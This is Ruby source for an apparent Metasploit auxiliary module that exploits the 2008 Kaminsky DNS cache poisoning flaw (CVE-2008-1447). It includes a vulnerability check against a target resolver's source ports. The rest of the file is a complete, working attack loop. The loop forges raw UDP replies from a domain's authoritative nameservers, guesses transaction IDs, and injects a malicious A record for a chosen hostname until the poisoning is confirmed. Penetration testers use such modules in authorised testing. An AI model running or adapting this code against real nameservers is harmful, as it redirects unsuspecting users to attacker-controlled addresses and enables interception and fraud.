require 'msf/core'
require 'net/dns'
require 'scruby'
require 'resolv'

module Msf

class Auxiliary::Spoof::Dns::BailiWickedHost < Msf::Auxiliary

	include Exploit::Remote::Ip

	def initialize(info = {})
		super(update_info(info,	
			'Name'           => 'DNS BailiWicked Host Attack',
			'Description'    => %q{
				This exploit attacks a fairly ubiquitous flaw in DNS implementations which 
				Dan Kaminsky found and disclosed ~Jul 2008.  This exploit caches a single
				malicious host entry into the target nameserver by sending random hostname
				queries to the target DNS server coupled with spoofed replies to those
				queries from the authoritative nameservers for that domain. Eventually, a 
				guessed ID will match, the spoofed packet will get accepted, and due to the 
				additional hostname entry being within bailiwick constraints of the original
				request the malicious host entry will get cached.
			},
			'Author'         => [ 'I)ruid', 'hdm' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision$',
			'References'     =>
				[
					[ 'CVE', '2008-1447' ],
					[ 'US-CERT-VU', '8000113' ],
					[ 'URL', 'http://www.caughq.org/exploits/CAU-EX-2008-0002.txt' ],
				],
			'DisclosureDate' => 'Jul 21 2008'
			))
			
			register_options(
				[
					OptPort.new('SRCPORT', [true, "The target server's source query port (0 for automatic)", nil]),
					OptString.new('HOSTNAME', [true, 'Hostname to hijack', 'pwned.example.com']),
					OptAddress.new('NEWADDR', [true, 'New address for hostname', '1.3.3.7']),
					OptAddress.new('RECONS', [true, 'Nameserver used for reconnaissance', '208.67.222.222']),
					OptInt.new('XIDS', [true, 'Number of XIDs to try for each query', 10]),
					OptInt.new('TTL', [true, 'TTL for the malicious host entry', 31337]),
				], self.class)
					
	end
	
	def auxiliary_commands
		return { "check" => "Determine if the specified DNS server (RHOST) is vulnerable" }
	end

	def cmd_check(*args)
		targ = args[0] || rhost()
		if(not (targ and targ.length > 0))
			print_status("usage: check [dns-server]")
			return
		end

		print_status("Using the Metasploit service to verify exploitability...")
		srv_sock = Rex::Socket.create_udp(
			'PeerHost' => targ,
			'PeerPort' => 53
		)		

		random = false
		ports  = []
		lport  = nil
		
		1.upto(5) do |i|
		
			req = Resolv::DNS::Message.new
			txt = "spoofprobe-check-#{i}-#{$$}#{(rand()*1000000).to_i}.red.metasploit.com"
			req.add_question(txt, Resolv::DNS::Resource::IN::TXT)
			req.rd = 1
			
			srv_sock.put(req.encode)
			res, addr = srv_sock.recvfrom()
			

			if res and res.length > 0
				res = Resolv::DNS::Message.decode(res)
				res.each_answer do |name, ttl, data|
					if (name.to_s == txt and data.strings.join('') =~ /^([^\s]+)\s+.*red\.metasploit\.com/m)
						t_addr, t_port = $1.split(':')

						print_status(" >> ADDRESS: #{t_addr}  PORT: #{t_port}")
						t_port = t_port.to_i
						if(lport and lport != t_port)
							random = true
						end
						lport  = t_port
						ports << t_port
					end
				end
			end	
		end
		
		srv_sock.close
		
		if(ports.length < 5)
			print_status("UNKNOWN: This server did not reply to our vulnerability check requests")
			return
		end
		
		if(random)
			print_status("PASS: This server does not use a static source port. Ports: #{ports.join(", ")}")
			print_status("      This server may still be exploitable, but not by this tool.")
		else
			print_status("FAIL: This server uses static source ports and is vulnerable to poisoning")
		end
	end
		
	def run
		target   = rhost()
		source   = Rex::Socket.source_address(target)
		sport    = datastore['SRCPORT']
		hostname = datastore['HOSTNAME'] + '.'
		address  = datastore['NEWADDR']
		recons   = datastore['RECONS']
		xids     = datastore['XIDS'].to_i
		newttl   = datastore['TTL'].to_i
		xidbase  = rand(20001) + 20000

		domain = hostname.sub(/\w+\x2e/,"")
		
		srv_sock = Rex::Socket.create_udp(
			'PeerHost' => target,
			'PeerPort' => 53
		)

		# Get the source port via the metasploit service if it's not set
		if sport.to_i == 0
			req = Resolv::DNS::Message.new
			txt = "spoofprobe-#{$$}#{(rand()*1000000).to_i}.red.metasploit.com"
			req.add_question(txt, Resolv::DNS::Resource::IN::TXT)
			req.rd = 1
			
			srv_sock.put(req.encode)
			res, addr = srv_sock.recvfrom()
			
			if res and res.length > 0
				res = Resolv::DNS::Message.decode(res)
				res.each_answer do |name, ttl, data|
					if (name.to_s == txt and data.strings.join('') =~ /^([^\s]+)\s+.*red\.metasploit\.com/m)
						t_addr, t_port = $1.split(':')
						sport = t_port.to_i

						print_status("Switching to target port #{sport} based on Metasploit service")
						if target != t_addr
							print_status("Warning: target address #{target} is not the same as the nameserver's query source address #{t_addr}!")
						end
					end
				end
			end
		end

		# Verify its not already cached
		begin
			query = Resolv::DNS::Message.new
			query.add_question(hostname, Resolv::DNS::Resource::IN::A)
			query.rd = 0

			begin
				cached = false
				srv_sock.put(query.encode)
				answer, addr = srv_sock.recvfrom()

				if answer and answer.length > 0
					answer = Resolv::DNS::Message.decode(answer)
					answer.each_answer do |name, ttl, data|
						if((name.to_s + ".") == hostname  and data.address.to_s == address)
							t = Time.now + ttl
							print_status("Failure: This hostname is already in the target cache: #{name} == #{address}")
							print_status("         Cache entry expires on #{t.to_s}... sleeping.")
							cached = true
							sleep ttl
						end
					end
					
				end
			end until not cached
		rescue ::Interrupt
			raise $!
		rescue ::Exception => e
			print_status("Error checking the DNS name: #{e.class} #{e} #{e.backtrace}")
		end

		res0 = Net::DNS::Resolver.new(:nameservers => [recons], :dns_search => false, :recursive => true) # reconnaissance resolver

		print_status "Targeting nameserver #{target} for injection of #{hostname} as #{address}"

		# Look up the nameservers for the domain
		print_status "Querying recon nameserver for #{domain}'s nameservers..."
		answer0 = res0.send(domain, Net::DNS::NS)
		#print_status " Got answer with #{answer0.header.anCount} answers, #{answer0.header.nsCount} authorities"

		barbs = [] # storage for nameservers
		answer0.answer.each do |rr0|
			print_status " Got an #{rr0.type} record: #{rr0.inspect}"
			if rr0.type == 'NS'
				print_status "  Querying recon nameserver for address of #{rr0.nsdname}..."
				answer1 = res0.send(rr0.nsdname) # get the ns's answer for the hostname
				#print_status " Got answer with #{answer1.header.anCount} answers, #{answer1.header.nsCount} authorities"
				answer1.answer.each do |rr1|
					print_status "   Got an #{rr1.type} record: #{rr1.inspect}"
					res2 = Net::DNS::Resolver.new(:nameservers => rr1.address, :dns_search => false, :recursive => false, :retry => 1) 
					print_status "    Checking Authoritativeness: Querying #{rr1.address} for #{domain}..."
					answer2 = res2.send(domain)
					if answer2 and answer2.header.auth? and answer2.header.anCount >= 1
						nsrec = {:name => rr0.nsdname, :addr => rr1.address}
						barbs << nsrec
						print_status "    #{rr0.nsdname} is authoritative for #{domain}, adding to list of nameservers to spoof as"
					end
				end
			end	
		end

		if barbs.length == 0
			print_status( "No DNS servers found.")
			srv_sock.close
			disconnect_ip
			return
		end

		# Flood the target with queries and spoofed responses, one will eventually hit
		queries = 0
		responses = 0

		connect_ip if not ip_sock

		print_status( "Attempting to inject a poison record for #{hostname} into #{target}:#{sport}...")

		while true
			randhost = Rex::Text.rand_text_alphanumeric(12) + '.' + domain # randomize the hostname

			# Send spoofed query
			req = Resolv::DNS::Message.new
			req.id = rand(2**16)
			req.add_question(randhost, Resolv::DNS::Resource::IN::A)

			req.rd = 1

			buff = (
				Scruby::IP.new(
					#:src   => barbs[0][:addr].to_s,
					:src   => source,
					:dst   => target,
					:proto => 17
				)/Scruby::UDP.new(
					:sport => (rand((2**16)-1024)+1024).to_i,
					:dport => 53
				)/req.encode
			).to_net
			ip_sock.sendto(buff, target)
			queries += 1
			
			# Send evil spoofed answer from ALL nameservers (barbs[*][:addr])
			req.add_answer(randhost, newttl, Resolv::DNS::Resource::IN::A.new(address))
			req.add_authority(domain, newttl, Resolv::DNS::Resource::IN::NS.new(Resolv::DNS::Name.create(hostname)))
			req.add_additional(hostname, newttl, Resolv::DNS::Resource::IN::A.new(address))
			req.qr = 1
			req.ra = 1

			xidbase.upto(xidbase+xids-1) do |id|
				req.id = id
				barbs.each do |barb|
					buff = (
						Scruby::IP.new(
							#:src   => barbs[i][:addr].to_s,
							:src   => barb[:addr].to_s,
							:dst   => target,
							:proto => 17
						)/Scruby::UDP.new(
							:sport => 53,
							:dport => sport.to_i
						)/req.encode
					).to_net
					ip_sock.sendto(buff, target)
					responses += 1
				end
			end

			# status update
			if queries % 1000 == 0
				print_status("Sent #{queries} queries and #{responses} spoofed responses...")
			end

			# every so often, check and see if the target is poisoned...
			if queries % 250 == 0 
				begin
					query = Resolv::DNS::Message.new
					query.add_question(hostname, Resolv::DNS::Resource::IN::A)
					query.rd = 0
	
					srv_sock.put(query.encode)
					answer, addr = srv_sock.recvfrom()

					if answer and answer.length > 0
						answer = Resolv::DNS::Message.decode(answer)
						answer.each_answer do |name, ttl, data|
							if((name.to_s + ".") == hostname and data.address.to_s == address)
								print_status("Poisoning successful after #{queries} attempts: #{name} == #{address}")
								disconnect_ip
								return
							end
						end
					end
				rescue ::Interrupt
					raise $!
				rescue ::Exception => e
					print_status("Error querying the DNS name: #{e.class} #{e} #{e.backtrace}")
				end
			end

		end

	end

end
end